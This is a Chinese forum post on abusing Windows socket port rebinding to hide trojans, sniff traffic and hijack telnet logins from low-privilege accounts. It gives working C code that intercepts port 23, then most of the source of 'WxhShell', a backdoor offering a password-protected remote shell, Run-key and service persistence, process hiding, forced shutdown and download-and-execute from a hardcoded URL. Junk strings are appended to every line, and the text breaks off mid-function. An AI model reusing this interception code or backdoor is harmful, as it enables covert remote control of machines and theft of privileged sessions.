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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: [MfKBlA  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); G}1?lO_d`  
H^cB ?i  
  saddr.sin_family = AF_INET;  PZZTRgVc  
f`w$KVZ1!w  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); &{${Fq  
YEF|SEon0  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); p!^.;c  
>%jQw.  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 ]m} <0-0  
S-{3'D[Nj  
  这意味着什么?意味着可以进行如下的攻击: bl. y4  
jQjtO"\JG  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ~A<1xszC  
R*~<?}Rr  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) bp G`,[  
C'x?riJ/  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 B WdR~|2  
kfaRN ^  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  L'k )  
TCAtb('D  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 g3~e#vdz  
siveqz6h  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 n"YY:Gm;8  
e(7F| G*  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 KKm &~^c  
L{fKZ  
  #include /mLOh2 T  
  #include -V@vY42  
  #include +*"u(7AV  
  #include    iB#xUSkS  
  DWORD WINAPI ClientThread(LPVOID lpParam);   j:'sbU  
  int main() ceN*wkGyB  
  { }C1&}hZ  
  WORD wVersionRequested; S]3K5Z|  
  DWORD ret; TJS/O~=  
  WSADATA wsaData; sE87}Lz  
  BOOL val; !yAlb#yu  
  SOCKADDR_IN saddr; 6t9Q,+nJ  
  SOCKADDR_IN scaddr;  QDCu  
  int err; p!5oz2RK  
  SOCKET s; $j61IL3+  
  SOCKET sc; 5S4kn.3  
  int caddsize; -*8|J;  
  HANDLE mt; * SH5p  
  DWORD tid;   < GoUth.#  
  wVersionRequested = MAKEWORD( 2, 2 ); G gmv(!  
  err = WSAStartup( wVersionRequested, &wsaData ); r}k2n s9  
  if ( err != 0 ) { W]E6<y'  
  printf("error!WSAStartup failed!\n"); P]]re,&R  
  return -1; e1$T%?(&[  
  } V 8`o71p  
  saddr.sin_family = AF_INET; MVdX  
   rro92(y  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 ``*iK  
];& @T\Rj  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 'Fi\Qk'D@  
  saddr.sin_port = htons(23); }7p`8?  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Pf`HF|NI  
  { M*M,Z  
  printf("error!socket failed!\n"); s;!TB6b@  
  return -1; R42+^'af  
  } ug]WIG7 S  
  val = TRUE; _P6e%O8C#  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 W"j&':xD  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) e}%~S9\UL5  
  { RsnK B /  
  printf("error!setsockopt failed!\n"); l":\@rm`  
  return -1; fuRCM^U(  
  } P)7:G?OTx  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; NDsF<2A4  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 \NE~k)`4j%  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 dk<) \C"  
WI@l2`X  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) '3B"@^]  
  { 0hJ,l.  
  ret=GetLastError(); Mn`);[  
  printf("error!bind failed!\n"); Jz"Yb  
  return -1; u!$+1fI>  
  } Sv&_LZ-"P  
  listen(s,2); #8xP,2&zf  
  while(1) jL^3/0"o  
  { -^C^3pms  
  caddsize = sizeof(scaddr); ngmHiI W  
  //接受连接请求 L !/Zw~  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 7T[Kjn^{Oj  
  if(sc!=INVALID_SOCKET) JDbRv'F:(  
  { Whd.AaD\  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); Mk-zeq<2z  
  if(mt==NULL) JU>F&g/|  
  { w|t}.u  
  printf("Thread Creat Failed!\n"); 5~,usA*  
  break; 0Y|"Bo9k  
  } _+B{n^ {  
  } Hl"^E*9x  
  CloseHandle(mt); QOT|6)Yb  
  } E\/J& .  
  closesocket(s); 7XM:4whw  
  WSACleanup(); 7+'&(^c  
  return 0; g \;,NW^  
  }   zG^|W8um_  
  DWORD WINAPI ClientThread(LPVOID lpParam) h#:_GNuF  
  { rt8"U <~  
  SOCKET ss = (SOCKET)lpParam; 7)-uYi] dA  
  SOCKET sc; ) dB?Ep|  
  unsigned char buf[4096]; @~ 6,8nQ  
  SOCKADDR_IN saddr; 3*8m!gq7s  
  long num; x<Ac\Cx  
  DWORD val; jNbU{Z%r  
  DWORD ret; #MyF 1E  
  //如果是隐藏端口应用的话,可以在此处加一些判断 f%[0}.wp  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   'QOV!D  
  saddr.sin_family = AF_INET; SJ7-lben3  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); s#BSZP  
  saddr.sin_port = htons(23); xoe/I[P]U  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) JHJIjYG>P  
  { yg WwUpY  
  printf("error!socket failed!\n"); '/U%-/@  
  return -1; G=( ja?d  
  } <lN=<9  
  val = 100; 7X{@$>+S  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) U-.A+#<IT9  
  { "2_nN]%u-  
  ret = GetLastError(); ,>3b|-C-  
  return -1; Yc`PK =!l  
  } KN< KZM  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Dzr(Fb  
  { 1$n!Lj=5  
  ret = GetLastError(); p)c"xaTP#F  
  return -1; .22}= z  
  } =`EVg>+^  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) &Db'}Y?x]  
  { YgLHp/  
  printf("error!socket connect failed!\n"); p?,T%G+gqO  
  closesocket(sc); M?v`C>j  
  closesocket(ss); L"It0C  
  return -1; 0?w4  
  } ;mauA#vd  
  while(1) zwgO|Qg;  
  { HV[*=Qi  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 8,&pX ga  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 ;~"#aL50fe  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 Gj- *D7X5  
  num = recv(ss,buf,4096,0); rrrn8b6  
  if(num>0) }&Ul(HR  
  send(sc,buf,num,0); ^K?Mq1"Db  
  else if(num==0) *n*po.Xr  
  break; D.,~I^W  
  num = recv(sc,buf,4096,0); &\5%C\0Z<  
  if(num>0) 8;fi1 "F;}  
  send(ss,buf,num,0); qlg?'l$03)  
  else if(num==0) -!-1X7v|Fp  
  break;  t@+z r3  
  } 9t"/@CH{  
  closesocket(ss); %&&;06GU}  
  closesocket(sc); G]E-2 _t7  
  return 0 ; icXeB_&cS  
  } %)}y[ (  
qVr?st  
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========================================================== &-(p~[|  
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下边附上一个代码,,WXhSHELL [' cq  
;oJCV"y6$  
========================================================== dL|*#e  
I7HP~v~  
#include "stdafx.h" ]oE:p  
9Fh1rZD<  
#include <stdio.h> `cpUl*Y=  
#include <string.h> `t Zw(Z=h  
#include <windows.h> ]7 2wv#-  
#include <winsock2.h> NSDls@m  
#include <winsvc.h> V38v2LI  
#include <urlmon.h> MzCZj  
&/{x7;e  
#pragma comment (lib, "Ws2_32.lib") +^V%D!.$@  
#pragma comment (lib, "urlmon.lib") {on+ ;,  
ZfSAXr "(  
#define MAX_USER   100 // 最大客户端连接数 =7 ${bp!  
#define BUF_SOCK   200 // sock buffer YY9Ub  
#define KEY_BUFF   255 // 输入 buffer A"no!AN  
O K2|/y  
#define REBOOT     0   // 重启 "6xTh0D  
#define SHUTDOWN   1   // 关机 WG(%Pkowv  
:Wmio\  
#define DEF_PORT   5000 // 监听端口 &dvL`  
(g#,AX  
#define REG_LEN     16   // 注册表键长度 ~4C:2  
#define SVC_LEN     80   // NT服务名长度 [cvtF(,  
WJ m:?,  
// 从dll定义API 7 J+cs^2  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); "%fvA;  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 8jm\/?k|  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); [;8vO=Z  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Kk<MS$Ov  
?R\:6x<  
// wxhshell配置信息 O*y@4AR"S  
struct WSCFG { d}_%xkC  
  int ws_port;         // 监听端口 F]7$Y  
  char ws_passstr[REG_LEN]; // 口令 Ialbz\;F2%  
  int ws_autoins;       // 安装标记, 1=yes 0=no iJem9XXb  
  char ws_regname[REG_LEN]; // 注册表键名 ^. ; x  
  char ws_svcname[REG_LEN]; // 服务名 BuIly&qbm<  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 eK'ztqQ  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 (N`x  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 (&ABfm/t  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Nw|m"VLb  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 1pHt3Vc(G  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 3f^~mTY9>]  
@N,I}_9-  
}; M~#% [?iU  
;yVT:qd %  
// default Wxhshell configuration cri.kr9Y  
struct WSCFG wscfg={DEF_PORT, -+w^"RBV  
    "xuhuanlingzhe", K3($,aB}  
    1, pu9ub.  
    "Wxhshell", c DO<z  
    "Wxhshell", 2h^9lrQcQG  
            "WxhShell Service", x0dO ^D  
    "Wrsky Windows CmdShell Service", :KL5A1{  
    "Please Input Your Password: ", 35X4] t  
  1, #pm0T1+jW  
  "http://www.wrsky.com/wxhshell.exe", \"^.>+  
  "Wxhshell.exe" j/Rm~!q  
    }; u"*Wo'3I|  
1=.+!Tg  
// 消息定义模块 rS/}!|uAu  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; jQLiqi`  
char *msg_ws_prompt="\n\r? for help\n\r#>"; gNoQ[xFx32  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ON~K(O2g(  
char *msg_ws_ext="\n\rExit."; !1s^TB>N  
char *msg_ws_end="\n\rQuit."; M7 Z9(3Va  
char *msg_ws_boot="\n\rReboot..."; ywS2` (  
char *msg_ws_poff="\n\rShutdown..."; (iw)C)t*u  
char *msg_ws_down="\n\rSave to "; %Yi^{ZrM  
4fp]z9Y  
char *msg_ws_err="\n\rErr!"; j(SBpM  
char *msg_ws_ok="\n\rOK!"; 1 6N+  
%W [#60  
char ExeFile[MAX_PATH]; yDdi+  
int nUser = 0; L[s8`0  
HANDLE handles[MAX_USER]; C0bOPn  
int OsIsNt; vuCl(/P`  
Z<,$Xv L  
SERVICE_STATUS       serviceStatus; #=* y7w  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; D)*OQLHW  
")cJA f  
// 函数声明 ZXR#t?D  
int Install(void); n6f  
int Uninstall(void); u{_jweZ  
int DownloadFile(char *sURL, SOCKET wsh); jg7 WMH"`  
int Boot(int flag); Q-:IE T  
void HideProc(void); '8|y^\  
int GetOsVer(void); fEB>3hI  
int Wxhshell(SOCKET wsl); ;F:~HrxT}  
void TalkWithClient(void *cs); :jc ?T  
int CmdShell(SOCKET sock); ^XIVWf#`H  
int StartFromService(void); h/t{= @ .5  
int StartWxhshell(LPSTR lpCmdLine); #r ;;d(  
g[d.lJ=Q-N  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ]U8VU  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); foOwJ}JU  
zL<<`u?  
// 数据结构和表定义 v,] &[`  
SERVICE_TABLE_ENTRY DispatchTable[] = +TQMA >@g<  
{ 8a;I,DK=j  
{wscfg.ws_svcname, NTServiceMain}, mx'!I7b(L/  
{NULL, NULL} y ;$8C  
}; *yx&4)Or  
<e s>FD  
// 自我安装 BV8-\R@  
int Install(void) d? Old  
{ -or^mNB_z  
  char svExeFile[MAX_PATH];  >Mzk;TM  
  HKEY key; @DYxDap{  
  strcpy(svExeFile,ExeFile); Gw0_M&  
;B'5B]A3  
// 如果是win9x系统,修改注册表设为自启动 |"Rl_+d7D  
if(!OsIsNt) { 6^oQ8unmS  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { >brf7h  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); krw_1Mm  
  RegCloseKey(key); 7HpfHqJ7  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { y$]gmg  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); L6xLD X7y  
  RegCloseKey(key); \GR M,c  
  return 0; BDeX5/`U#  
    } x1$:u6YD22  
  } JMUk=p<\  
} >z`^Q[  
else { }[[  
Gl1Qbd0  
// 如果是NT以上系统,安装为系统服务 scff WqEo  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ZwV`} 2{  
if (schSCManager!=0) #9{9T"ed  
{ }|k_sx:  
  SC_HANDLE schService = CreateService .)7r /1o  
  ( 0u?{"xH{+}  
  schSCManager, j=%^CRum  
  wscfg.ws_svcname, UogkQ& B  
  wscfg.ws_svcdisp, 7# /c7   
  SERVICE_ALL_ACCESS, tj:Q]]\M  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , X_7cwPY  
  SERVICE_AUTO_START, U%Kv}s/(F{  
  SERVICE_ERROR_NORMAL, _e ]jz2j  
  svExeFile, tA?cHDp4E  
  NULL, v{N4*P.0T  
  NULL, t Z_ni}  
  NULL, Gj~1eS  
  NULL, CDy *8<-&  
  NULL H O^3v34ZO  
  ); V-y"@0%1  
  if (schService!=0) Wz}8O]#/.  
  { SNV[KdvP*  
  CloseServiceHandle(schService); x2#5"/~4  
  CloseServiceHandle(schSCManager); RGeM.  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); cB;:}Q08#  
  strcat(svExeFile,wscfg.ws_svcname); >|)ia5#  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { LP{{PT.&X  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); V)$y  
  RegCloseKey(key); P9Gjsu #  
  return 0; ?e`4 s f_~  
    } KuU]enC3  
  } Vvth,  
  CloseServiceHandle(schSCManager); fp jy[$8  
} &=1A g}l57  
} 0 !D,74r  
A`=;yD  
return 1; DcNQ2Zz?%  
} \m3'4#  
b8?qYm  
// 自我卸载 (,5oqU9s@  
int Uninstall(void) Q*S|SH-cZ0  
{ S$CO T)7  
  HKEY key; ZP@or2No%  
-BY'E$]4  
if(!OsIsNt) { ^i"C%8  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { !]%M  
  RegDeleteValue(key,wscfg.ws_regname); 9Tgl/}q)  
  RegCloseKey(key); L<kIzB !  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { hEO#uAR^Z  
  RegDeleteValue(key,wscfg.ws_regname); b#**`Y  
  RegCloseKey(key); 16iymiLz&  
  return 0; ?[$=5?  
  } ?'xTSAn  
} b-/ztZ@u  
} i\P?Y(-{  
else { q|E0Y   
r52X}Y  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); U=?hT&w\S  
if (schSCManager!=0) OH.Re6Rr  
{ T Y|5O! <  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); u9WQ0.  
  if (schService!=0) so* lV  
  { =)56]ki}  
  if(DeleteService(schService)!=0) { b&LfL$  
  CloseServiceHandle(schService); .YvE  
  CloseServiceHandle(schSCManager); -1tdyCez  
  return 0; CgLS2  
  } TBfX1v|Z)  
  CloseServiceHandle(schService); ~[@Gj{6p0  
  } +O< 0q"E  
  CloseServiceHandle(schSCManager); GP"(+5  
} &&iZ?JteZ  
} <Sxsmf0"  
n@LR?  
return 1; +/A`\9QT  
} SZOcFmC?  
9aLS%-x!+  
// 从指定url下载文件 < V?CM(1C  
int DownloadFile(char *sURL, SOCKET wsh) B]PTe~n^  
{ 4<S*gu*W  
  HRESULT hr; '4PAH2&n  
char seps[]= "/"; }*!7 Vrep  
char *token; Tct[0B  
char *file; ^ <Z^3c>/  
char myURL[MAX_PATH]; ,`7;S,f  
char myFILE[MAX_PATH]; !6eXJ#~[E  
Da)rzr|}>3  
strcpy(myURL,sURL); Zk+J=Cwq}  
  token=strtok(myURL,seps); T-Od|T@[  
  while(token!=NULL) .xtjB8gc  
  { B/IPG~aMEZ  
    file=token; !P7##ho0  
  token=strtok(NULL,seps); -.A8kJ  
  } p100dJvq  
20hF2V  
GetCurrentDirectory(MAX_PATH,myFILE); sSLs%)e|:  
strcat(myFILE, "\\"); :@PM+[B|Q  
strcat(myFILE, file); ICNS+KsI  
  send(wsh,myFILE,strlen(myFILE),0); @=[/bG  
send(wsh,"...",3,0); Z+!3m.q  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); aqvt$u8  
  if(hr==S_OK) C;DNL^  
return 0; Ep% 5wR  
else 0dKI+zgr  
return 1; kl.)A-6V  
+):t6oX|  
} +"Pt?k  
RU!j"T 5  
// 系统电源模块 G"CV S@  
int Boot(int flag) _C9*M6IU  
{ e&dE>m  
  HANDLE hToken; ; 6Wlu3I  
  TOKEN_PRIVILEGES tkp; _m!TUT8o  
|irqv< r  
  if(OsIsNt) { -GkNA"2M[  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ~L!*p0dS^  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 7@g8nv(p  
    tkp.PrivilegeCount = 1; V/Hjd`n)`i  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; KWU ~QAc  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); &Z682b$  
if(flag==REBOOT) { <uP>  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 8y}9X v  
  return 0; . xT8@]  
} s)$N&0\  
else { -Iz&/u*}f  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) EAQg4N:D7L  
  return 0; cq'opjLf5  
} JZp*"UzQr  
  } )^UM8 s  
  else { \H$Ps9Xh  
if(flag==REBOOT) { >;',U<Wd  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) = GirUW D  
  return 0; I__|+%oC  
} ag^L' h$  
else { !j8h$+:K  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ./@!k[  
  return 0; #n^P[Zw  
} -bHQy:  
} YmM+x=G:  
qu[ ~#  
return 1; Gx ?p,Fj  
} q/xMM `{  
RQI?\?o  
// win9x进程隐藏模块 !|`G<WD  
void HideProc(void) 16MRLDhnD  
{ *loPwV8  
G#/}_P  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); $ WAFr  
  if ( hKernel != NULL ) Evkb`dU3n  
  { |w2H5f{fR  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); gnmKh>0@6o  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); J=4R" _yo  
    FreeLibrary(hKernel); u-Pa:wm0-  
  } o.t$hv|  
p<>%9180!F  
return; )/H=m7}1h  
} mLU4RQ}5  
<va3Ly)c&  
// 获取操作系统版本 I0 a,mO;m  
int GetOsVer(void) v8"plx=3  
{ \P]w^  
  OSVERSIONINFO winfo; v_f8zk  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); gB@Xi*  
  GetVersionEx(&winfo); 2"lDKjj  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) FjIS:9^)t5  
  return 1; Z~{0XG\Y  
  else 2g1[ E_?  
  return 0; /5 Wy) -  
} a'w~7y!}  
R6HMi#eF  
// 客户端句柄模块 <}-[9fW  
int Wxhshell(SOCKET wsl) Pg" uisT#>  
{ brJ _q0@  
  SOCKET wsh; O(;K ]8  
  struct sockaddr_in client; hK9Trrwau  
  DWORD myID; zCKZv|j6  
{J q[N}  
  while(nUser<MAX_USER) T;jp2 #  
{ kM5N#|!  
  int nSize=sizeof(client); \o9-[V#Gm  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); hK"hMyH^  
  if(wsh==INVALID_SOCKET) return 1; Ei2Y)_   
78>)<$+d  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); vJDK]p<}  
if(handles[nUser]==0) obRR))  
  closesocket(wsh); *]~ug%a  
else tVd\r"0k  
  nUser++; D8N}*4S  
  } 5Z}]d@  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); SCE5|3j  
n'=-bj`  
  return 0; (&0%![j&  
} A_1cM#4  
d_=@1 JM>  
// 关闭 socket 8RWfv}:X  
void CloseIt(SOCKET wsh) Gwxx W   
{ |cStN[97%  
closesocket(wsh); |;_NCy8i3X  
nUser--; ?F20\D\V  
ExitThread(0); L<!}!v5ja  
} :#58m0YLA:  
V{;!vt~  
// 客户端请求句柄 Xu`c_  
void TalkWithClient(void *cs) Zpg/T K  
{ $u_0"sUV  
!Uz{dFJf;  
  SOCKET wsh=(SOCKET)cs; 3}=r.\]U  
  char pwd[SVC_LEN]; :S}!i?n  
  char cmd[KEY_BUFF]; ~C=I{qzF+  
char chr[1]; TSqfl/UI  
int i,j; .MkHB0 2N  
M3@Wb@  
  while (nUser < MAX_USER) { Hrq1{3~  
*JE%bQ2Q  
if(wscfg.ws_passstr) { Twyx(~'&R  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); R/r)l<X@  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ;hGC.}X  
  //ZeroMemory(pwd,KEY_BUFF); R;&C6S  
      i=0; By{zX,6'  
  while(i<SVC_LEN) { A<l8CWv[  
jZeY^T)f"  
  // 设置超时 %eWzr  
  fd_set FdRead; ia 1Sf3  
  struct timeval TimeOut; lY/{X]T.(  
  FD_ZERO(&FdRead); 0xrr9X<  
  FD_SET(wsh,&FdRead); QQUeY2}  
  TimeOut.tv_sec=8; \O5`R-  
  TimeOut.tv_usec=0; |m7U^  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); %0C<_drW  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); u-PAi5&n  
n/#zx:d?  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 3ny>5A!;2  
  pwd=chr[0]; }S51yDVG_  
  if(chr[0]==0xd || chr[0]==0xa) { tFt56/4  
  pwd=0; zY~  
  break; 5vs~8|aRo  
  } nf& P Dv1  
  i++; ;q]Jm  
    } B*7Y5_N  
xgHR;US H  
  // 如果是非法用户,关闭 socket "MHm9D?5  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Y $hYW  
} ~$n4Yuu2[  
`v3WJ>Q!N?  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); k8H@0p  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); y\K r@;q0w  
 H"czF  
while(1) { D/)wg$MI  
l+!!S"=8)~  
  ZeroMemory(cmd,KEY_BUFF); KBJw7rra  
pSp/Qpb-B  
      // 自动支持客户端 telnet标准   DhZuQpH  
  j=0; VZo[\sWf  
  while(j<KEY_BUFF) { ,Oa-AF/p  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); m3W:\LTTp  
  cmd[j]=chr[0]; ST$~l7p  
  if(chr[0]==0xa || chr[0]==0xd) { g^|}e?  
  cmd[j]=0; !.1oW(  
  break; ^Pl(V@  
  } c} )U:?6  
  j++; 3/c3e{,!  
    } 85CH% I#  
li'h&!|]  
  // 下载文件 yO*~)ALb+  
  if(strstr(cmd,"http://")) { NRu _6~^^  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); i ,Cvnp6Lv  
  if(DownloadFile(cmd,wsh)) eKjmU| H  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); .j?`U[V%a  
  else ws8@y r<R  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); abiZ"?(  
  } j8n_:;i*  
  else { t80s(e  
XN9s!5A<L)  
    switch(cmd[0]) { Y~\71QE>  
  su;u_rc,  
  // 帮助 R<. <wQ4I  
  case '?': { ~hK7(K  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); F. 5'5%  
    break; Z(DCR/U=(>  
  } d: D`rpcC  
  // 安装 9A_{*E(wd  
  case 'i': { S3#NGBZ/  
    if(Install()) B1<:nl  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); D.d(D:  
    else ZrY #B8  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); p}q27<O*/  
    break; I5]=\k($  
    } 4 =/5  
  // 卸载 hRAI7xk  
  case 'r': { DfYOGs]@  
    if(Uninstall()) 3ARvSz@5  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Gk_%WY*  
    else Z] ?Tx2|7  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); N(i%Oxp1  
    break; .Zo%6[X  
    } \:]  
  // 显示 wxhshell 所在路径 t Gt/=~n9  
  case 'p': { iMG)zPj  
    char svExeFile[MAX_PATH]; %smQ`u|  
    strcpy(svExeFile,"\n\r"); j("$qp v  
      strcat(svExeFile,ExeFile); \H(r }D$u<  
        send(wsh,svExeFile,strlen(svExeFile),0); _vOV(#q2a  
    break; ,n\"zYf ]^  
    } _Z~cJIEU  
  // 重启 =KQQS6  
  case 'b': { 1 & G0;  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); |OW/-&)  
    if(Boot(REBOOT)) }/tT=G]91  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); WgHl. :R  
    else { m$N` Xj  
    closesocket(wsh); wq yw#)S  
    ExitThread(0); @ig'CF%(  
    } x_za R}WI  
    break; 6,C2PR_+  
    } 0IZaf%zYc  
  // 关机 A:|dY^,:?*  
  case 'd': { $+(Df|)  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Mdk(FG(  
